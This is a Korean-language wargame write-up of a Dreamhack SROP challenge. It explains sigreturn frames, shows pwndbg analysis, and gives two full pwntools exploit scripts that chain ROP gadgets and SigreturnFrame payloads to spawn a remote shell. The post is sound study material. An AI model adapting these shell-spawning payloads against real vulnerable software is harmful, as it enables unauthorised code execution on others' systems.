security/포너블 - dreamhack

[Dreamhack Wargame] SigReturn Oriented Programming

민사민서 2023. 6. 23. 03:20

SROP 개념 정리

void sig_handler(int signum){
  printf("sig_handler called.\n");
  exit(0);
}
int main(){
  signal(SIGALRM,sig_handler);
  alarm(5);
  ~~

이런 코드가 존재할 때, SIGALRM 시그널이 발생하면 커널 모드로 진입하여 sig_handler 함수를 실행한다.

이 때 시그널을 커널 모드에서 처리하고나서 다시 유저 모드로 돌아와 프로세스의 코드를 실행해야 하므로, 유저 모드의 상태를 모두 기억하고 되돌아올 수 있도록 한다.

현재 프로세스가 바뀌는 것을 컨텍스트 스위칭 (Context Switching) 이라고 하는데,

커널모드 - 유저모드 간 context 스위칭이 발생할 때의 상황을 커널에서 기억하고, 커널 코드의 실행을 마치면 기억한 정보를 되돌려 복귀하기 위해 사용하는 시스템 콜이 sigreturn (rax=15)

 

how to exploit?

레지스터에 복사할 값을 미리 스택에 저장해놓고 sigreturn syscall을 발생시킨다

모든 레지스터를 조작할 수 있는 강력한 exploit 기법이다

 

SIGRETURN syscall 발생 시 스택 상황에 따른 레지스터 변화 확인

1. pwndbg를 이용해 분석해봤다

main 에필로그에  bp를 걸고

r <<< $(python3 -c "print('A'*0x18+'X'*0x10+'A'*8+'B'*8+'C'*8+'D'*8+'E'*8+'F'*8+'G'*8+'H'*8+'I'*8+'J'*8+'K'*8+'L'*8+'M'*8+'N'*8+'O'*8+'P'*8+'Q'*8+'R'*8+'S'*8+'T'*8+'U'*8+'V'*8+'X'*8+'Y'*8+'Z'*8)")

- command line input으로 입력값 건네줬는데, null byte는 ignore되길래 RET+RAX_VALUE로 일단 'X'*0x10으로 넘겨주고 추후 수정하는 방식으로 진행하였다

pwndbg> set {long}($rsp+0x18) = 0x4004eb
pwndbg> set {long}($rsp+0x30) = 0x4343434343434343

- 이후 c하여 SIGRETURN syscall 이후 레지스터 상태 확인

 

2. pwntools pause() 사용해 일시정지 후 디버거 attach 해서 분석해보았다

payload = b'A'*0x18 + p64(gadget+4) + p64(0xf)
for ch in range(48,80):
    payload += bytes([ch]*8)

pause()
p.send(payload)
p.interactive()

- 파이썬 파일 실행을 일시정지 시켜놓고 새로운 터미널 창에서 실행중인 srop 파일의 PID로 gdb를 붙여줬다

- 이후 c(continue) 하면 gdb창에서 레지스터 상태 분석 가능하다

1. 2. 결과 확인할 수 있다

즉 스택 상황은 : DUMMY 0x28+[r8]+[r9]+[r10]+[r11]+[r12]+[r13]+[r14]+[r15]+[rdi]+[rsi]+[rbp]+[rbx]+[rdx]+DUMMY 8B+[rcx]+[rsp]+[rip]

 

** 주의할 점 (SigreturnFrame() 안 쓰고 손코딩하려다가 이것들 땜에 뻘짓했음)

- 1.2 방식으로는 rax 레지스터 위치를 파악할 수 없다 => DUMMy 8Byte 자리가 rax

- rip + 0x16 위치에 p64(0x33)이 들어가야 한다  => amd64 아키텍쳐에서 cs 세그먼트에 들어가야하는 값으로 payload에 포함되어야 함

- rip+0x20 이후로 일정 NULL padding이 필요하다 => payload 뒤에 '\x00'*0x28 정도는 더 붙여야 되더라..

 

3. pwntools에서 제공하는 SigreturnFrame() 사용

from pwn import *

context(arch="amd64", os="linux")

frame = SigreturnFrame()
frame.r8 = 0x41414141;frame.r9 = 0x42424242;frame.r10 = 0x43434343;frame.r11 = 0x44444444;frame.r12 = 0x45454545
frame.r13 = 0x46464646;frame.r14 = 0x47474747;frame.r15 = 0x48484848;frame.rdi = 0x49494949;frame.rsi = 0x4a4a4a4a
frame.rbp = 0x4b4b4b4b;frame.rbx = 0x4c4c4c4c;frame.rdx = 0x4d4d4d4d;frame.rax = 0x4e4e4e4e;frame.rcx = 0x4f4f4f4f
frame.rsp = 0x50505050;frame.rip = 0x51515151

print(bytes(frame))

'\x00'*0x28 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + rdi + rsi + rbp + rbx + rdx + rax + rcx + rsp + rip + '\x00'*0x8 + cs (0x33) + '\x00'*0x38  이렇게 구성이 되어있네

 

Exploit 계획

  • Partial RELRO   No canary found   NX enabled    No PIE
  • 코드 엄청 간단해서 그런지 plt/got table 에 read함수밖에 없음 / libc_base 못 구함
  • ROP, read@plt를 이용해 writable 영역에 "/bin/sh" 입력하고,
  • SIGRETURN을 이용해 execve syscall을 진행하면 되겠다

syscall이 이루어지는 gadget 코드는 아래와 같다

pwndbg> disas gadget 
Dump of assembler code for function gadget:
   0x00000000004004e7 <+0>:	push   rbp
   0x00000000004004e8 <+1>:	mov    rbp,rsp
   0x00000000004004eb <+4>:	pop    rax
   0x00000000004004ec <+5>:	syscall 
   ~~~

pop rdx 가젯이 없어서 걱정했는데 main 함수 내부에서 rdx 충분히 크게 세팅해준다 (출제자의 배려..?)

 ► 0x4004fe <main+12>            mov    edx, 0x400
   0x400503 <main+17>            mov    rsi, rax
   0x400506 <main+20>            mov    edi, 0
   0x40050b <main+25>            call   read@plt                      <read@plt>

SROP를 이용한 execve("/bin/sh", 0, 0) syscall은 아래와 같이 이루어지겠지
rip = gadget+5, rax=0x3b , rdi = bss영역 , rsi = 0 , rdx = 0

 

Exploit 코드

from pwn import *

# p = process("./srop")
p = remote("host3.dreamhack.games", 17184)

gadget = 0x4004e7
prdi_r = 0x400583
prsi_pr15_r = 0x400581
read_plt = 0x4003f0
writable_area = 0x601100

# read(0, writable_area, 0x400)
payload = b'A'*0x18 + p64(prdi_r) + p64(0) + p64(prsi_pr15_r) + p64(writable_area) + p64(0) + p64(read_plt)
# pop rax; syscall; (SIGRETURN)
payload += p64(gadget+4) + p64(0xf)
# return to gadget+5, execve("/bin/sh", 0, 0)
payload += b'A'*0x68 + p64(writable_area) + p64(0) + b'A'*0x10 + p64(0) + p64(0x3b) + b'A'*0x10 + p64(gadget+5) + b'A'*8 + p64(0x33) + b'\x00'*0x28

p.send(payload)
p.send('/bin/sh\x00')

p.interactive()

직접 짜려면... 각 레지스터의 offset + cs 세그먼트 값 + Dummy bytes까지 고려해야돼서 복잡...

context(os="linux", arch="amd64")
frame = SigreturnFrame()
frame.rdi = writable_area
frame.rip = gadget+5
frame.rax= 0x3b

payload += bytes(frame)

이런 식으로 SigreturnFrame() 이용해 코드 짜도 된다

 

Exploit 코드 - 2 (read@plt 사용 안하고)

from pwn import *

context(os="linux", arch="amd64")

# p = process("./srop")
p = remote("host3.dreamhack.games", 17184)\

gadget = 0x4004e7
writable_area = 0x601000

# SIGRETURN 후 read(0, writable_area, 0x1000)
pay1 = b'A'*0x18
pay1 += p64(gadget+4) + p64(0xf)
frame = SigreturnFrame()
frame.rax = 0 # sys_read
frame.rip = gadget+4 # ret to pop rax; syscall;
frame.rsp = writable_area # stack pointer to pay2
frame.rdi = 0
frame.rsi = writable_area
frame.rdx = 0x1000
pay1 += bytes(frame)

p.send(pay1)

# SIGRETURN 후 execve("/bin/sh", 0, 0)
pay2 = p64(0xf)
frame2 = SigreturnFrame()
frame.rax = 0x3b # sys_execve
frame.rip = gadget+5 # ret 2 syscall
frame.rdi = writable_area+0x8+0xf8 # "/bin/sh" offset
frame.rsi = 0
frame.rdx = 0
pay2 += bytes(frame)
pay2 += b"/bin/sh\x00"

p.send(pay2)
p.interactive()

- SROP만 사용한 코드, rsp를 pay2가 담길 주소로 옮기는 게 핵심

- SIGRETURN syscall - read syscall - SIGRETURN syscall - execve syscall

 

 

오늘의 교훈

닥치고 SigreturnFrame() 사용해라.... 그래도 gdb 사용법이라던지 sigcontext 구조체라던지 공부는 됐다...